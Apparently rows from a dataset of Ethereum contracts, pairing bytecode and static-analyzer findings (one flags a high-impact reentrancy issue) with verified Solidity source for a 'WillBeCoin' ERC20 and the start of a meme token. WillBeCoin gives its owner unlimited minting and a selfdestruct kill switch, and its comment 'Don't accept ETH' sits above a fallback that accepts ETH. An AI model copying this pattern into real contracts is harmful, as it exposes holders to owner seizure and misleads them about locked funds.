0cb816118c4565b60006020828403121561190157600080fd5b5035919050565b6000806040838503121561191b57600080fd5b82356119268161173a565b915060208301356119368161173a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119b6576119b661198c565b5060010190565b6000602082840312156119cf57600080fd5b81516110cb8161173a565b6000806000606084860312156119ef57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a1a57600080fd5b81516110cb816118c4565b60008219821115611a3857611a3861198c565b500190565b600082821015611a4f57611a4f61198c565b500390565b6000816000190483118215151615611a6e57611a6e61198c565b500290565b600082611a9057634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ae55784516001600160a01b031683529383019391830191600101611ac0565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c5b5f336edb5e833fbc6ae8b30d6b4f8eadd3c449a1929575f422aa282ca6d2a64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,762 |
0x4d0E266E982F6b2051C1604703547753EBC27cc2
|
/**
*Submitted for verification at Etherscan.io on 2021-07-07
*/
/**
*Submitted for verification at Etherscan.io on 2020-12-15
*/
pragma solidity ^0.5.2;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "multiplication constraint voilated");
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "division constraint voilated");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "substracts constraint voilated");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "addition constraint voilated");
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "divides contraint voilated");
return a % b;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: only owner can execute");
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner should not empty");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused, "Pausable: contract not paused");
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused, "Pausable: contract paused");
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0), "BasicToken: require to address");
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0), "StandardToken: receiver address empty");
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != address(0), "StandardToken: spender address empty");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint256 _addedValue) public
returns (bool success) {
require(_spender != address(0), "StandardToken: spender address empty");
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint256 _subtractedValue) public
returns (bool success) {
require(_spender != address(0), "StandardToken: spender address empty");
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished, "MintableToken: require minting active");
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _value) public onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(address(0), _to, _value);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract BurnableToken is StandardToken {
/**
* @dev Burns a specified amount of tokens.
* @param _value The amount of tokens to burn.
*/
function burn(uint256 _value) public {
require(_value > 0, "BurnableToken: value must be greterthan 0");
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Transfer(msg.sender, address(0), _value);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value)public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract WillBeCoin is MintableToken, PausableToken, BurnableToken {
string public name = "WillBe Coin";
string public symbol = "WBC";
uint8 public decimals = 18;
uint256 public initialSupply = 1000000000 * (10 ** uint256(decimals));
// Constructor
constructor() public {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
emit Transfer(address(0), msg.sender, initialSupply);
}
// Don't accept ETH
function () external payable {
}
// Only owner can kill
function kill() public whenNotPaused onlyOwner {
selfdestruct(msg.sender);
}
}
|
0x6080604052600436106101355760003560e01c80635c975abb116100ab5780638da5cb5b1161006f5780638da5cb5b146105dc57806395d89b4114610633578063a9059cbb146106c3578063d73dd62314610736578063dd62ed3e146107a9578063f2fde38b1461082e57610135565b80635c975abb1461047757806366188463146104a657806370a08231146105195780637d64bcb41461057e5780638456cb59146105ad57610135565b8063313ce567116100fd578063313ce56714610327578063378dc3dc146103585780633f4ba83a1461038357806340c10f19146103b257806341c0e1b51461042557806342966c681461043c57610135565b806305d2035b1461013757806306fdde0314610166578063095ea7b3146101f657806318160ddd1461026957806323b872dd14610294575b005b34801561014357600080fd5b5061014c61087f565b604051808215151515815260200191505060405180910390f35b34801561017257600080fd5b5061017b610892565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bb5780820151818401526020810190506101a0565b50505050905090810190601f1680156101e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020257600080fd5b5061024f6004803603604081101561021957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610930565b604051808215151515815260200191505060405180910390f35b34801561027557600080fd5b5061027e6109c7565b6040518082815260200191505060405180910390f35b3480156102a057600080fd5b5061030d600480360360608110156102b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109cd565b604051808215151515815260200191505060405180910390f35b34801561033357600080fd5b5061033c610a66565b604051808260ff1660ff16815260200191505060405180910390f35b34801561036457600080fd5b5061036d610a79565b6040518082815260200191505060405180910390f35b34801561038f57600080fd5b50610398610a7f565b604051808215151515815260200191505060405180910390f35b3480156103be57600080fd5b5061040b600480360360408110156103d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c14565b604051808215151515815260200191505060405180910390f35b34801561043157600080fd5b5061043a610e5f565b005b34801561044857600080fd5b506104756004803603602081101561045f57600080fd5b8101908080359060200190929190505050610fbe565b005b34801561048357600080fd5b5061048c611136565b604051808215151515815260200191505060405180910390f35b3480156104b257600080fd5b506104ff600480360360408110156104c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611149565b604051808215151515815260200191505060405180910390f35b34801561052557600080fd5b506105686004803603602081101561053c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111e0565b6040518082815260200191505060405180910390f35b34801561058a57600080fd5b50610593611229565b604051808215151515815260200191505060405180910390f35b3480156105b957600080fd5b506105c261133c565b604051808215151515815260200191505060405180910390f35b3480156105e857600080fd5b506105f16114d2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561063f57600080fd5b506106486114f8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561068857808201518184015260208101905061066d565b50505050905090810190601f1680156106b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106cf57600080fd5b5061071c600480360360408110156106e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611596565b604051808215151515815260200191505060405180910390f35b34801561074257600080fd5b5061078f6004803603604081101561075957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061162d565b604051808215151515815260200191505060405180910390f35b3480156107b557600080fd5b50610818600480360360408110156107cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116c4565b6040518082815260200191505060405180910390f35b34801561083a57600080fd5b5061087d6004803603602081101561085157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061174b565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109285780601f106108fd57610100808354040283529160200191610928565b820191906000526020600020905b81548152906001019060200180831161090b57829003601f168201915b505050505081565b6000600360159054906101000a900460ff16156109b5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5061757361626c653a20636f6e7472616374206e6f742070617573656400000081525060200191505060405180910390fd5b6109bf8383611954565b905092915050565b60005481565b6000600360159054906101000a900460ff1615610a52576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5061757361626c653a20636f6e7472616374206e6f742070617573656400000081525060200191505060405180910390fd5b610a5d848484611acb565b90509392505050565b600660009054906101000a900460ff1681565b60075481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f776e61626c653a206f6e6c79206f776e65722063616e20657865637574650081525060200191505060405180910390fd5b600360159054906101000a900460ff16610bc6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f5061757361626c653a20636f6e7472616374207061757365640000000000000081525060200191505060405180910390fd5b6000600360156101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a16001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cd9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f776e61626c653a206f6e6c79206f776e65722063616e20657865637574650081525060200191505060405180910390fd5b600360149054906101000a900460ff1615610d3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806126e86025913960400191505060405180910390fd5b610d5482600054611e0190919063ffffffff16565b600081905550610dac82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600360159054906101000a900460ff1615610ee2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5061757361626c653a20636f6e7472616374206e6f742070617573656400000081525060200191505060405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f776e61626c653a206f6e6c79206f776e65722063616e20657865637574650081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16ff5b60008111611017576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602981526020018061270d6029913960400191505060405180910390fd5b600033905061106e82600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8990919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110c682600054611e8990919063ffffffff16565b600081905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600360159054906101000a900460ff1681565b6000600360159054906101000a900460ff16156111ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5061757361626c653a20636f6e7472616374206e6f742070617573656400000081525060200191505060405180910390fd5b6111d88383611f12565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f776e61626c653a206f6e6c79206f776e65722063616e20657865637574650081525060200191505060405180910390fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611401576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f776e61626c653a206f6e6c79206f776e65722063616e20657865637574650081525060200191505060405180910390fd5b600360159054906101000a900460ff1615611484576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5061757361626c653a20636f6e7472616374206e6f742070617573656400000081525060200191505060405180910390fd5b6001600360156101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561158e5780601f106115635761010080835404028352916020019161158e565b820191906000526020600020905b81548152906001019060200180831161157157829003601f168201915b505050505081565b6000600360159054906101000a900460ff161561161b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5061757361626c653a20636f6e7472616374206e6f742070617573656400000081525060200191505060405180910390fd5b6116258383612229565b905092915050565b6000600360159054906101000a900460ff16156116b2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5061757361626c653a20636f6e7472616374206e6f742070617573656400000081525060200191505060405180910390fd5b6116bc8383612466565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461180e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f776e61626c653a206f6e6c79206f776e65722063616e20657865637574650081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611894576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806127366023913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806127596024913960400191505060405180910390fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b52576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061277d6025913960400191505060405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611c2583600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cba83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0190919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d108382611e8990919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600080828401905083811015611e7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f6164646974696f6e20636f6e73747261696e7420766f696c617465640000000081525060200191505060405180910390fd5b8091505092915050565b600082821115611f01576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f7375627374726163747320636f6e73747261696e7420766f696c61746564000081525060200191505060405180910390fd5b600082840390508091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806127596024913960400191505060405180910390fd5b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156120a9576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061213d565b6120bc8382611e8990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156122cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4261736963546f6b656e3a207265717569726520746f2061646472657373000081525060200191505060405180910390fd5b61231f82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156124ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806127596024913960400191505060405180910390fd5b61257c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509291505056fe4d696e7461626c65546f6b656e3a2072657175697265206d696e74696e67206163746976654275726e61626c65546f6b656e3a2076616c7565206d757374206265206772657465727468616e20304f776e61626c653a206e6577206f776e65722073686f756c64206e6f7420656d7074795374616e64617264546f6b656e3a207370656e646572206164647265737320656d7074795374616e64617264546f6b656e3a207265636569766572206164647265737320656d707479a265627a7a723158209d7ccf263bb7e72beef02dd363685b1049ee0ca9777c17f4376942d35dc16e6564736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 8,763 |
0xa615f7853f014d6a044d976d0a20a9f34a7d9a2f
|
// SPDX-License-Identifier: UNLICENSED
/*
https://t.me/templeofelon
Temple of Elon
The difference between gods and mortals is basically equal to the difference between the great Elon and man.
While the great gods of the pantheon were worshiped by priests at rituals in cultic centers,
the great god of the Tesla is worshiped by us on Twitter and cryptoworld.
Ancient mortals used to have no direct contact with their deities while contemporary people can easily receive oracles from the great Elon.
Ancient mortals worshiped personal gods, who were thought to be deities who could intercede on their behalf to ensure health and protection for their families;
while contemporary people worship Elon believing that he could protect us from scammers and earn profit in the crypto world.
All crypto buyers should devoutly praise the words of Elon. May the great Elon assuage the spirit of his followers and crypto holders.
May it soothe their hearts, bring wealth to his people.
https://t.me/templeofelon
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
